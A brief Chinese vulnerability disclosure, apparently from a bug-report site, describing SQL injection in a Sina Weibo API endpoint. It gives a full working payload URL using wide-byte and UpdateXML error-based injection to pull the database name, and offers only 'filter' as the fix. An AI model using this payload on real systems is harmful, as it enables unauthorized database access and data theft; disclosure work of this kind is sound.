新浪某API接口SQL注射,好像是重要的库,没细测。
http://api.sina.com.cn/weibo/wb/users_show.json?uid=1787467502%df',0,UpdateXML(1,CONCAT(0x5b,mid((SELECT database()),1,32),0x5d),1),1397571500)%23&source=2835469272&callback=STK_13975707689683
修复方案:
过滤
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;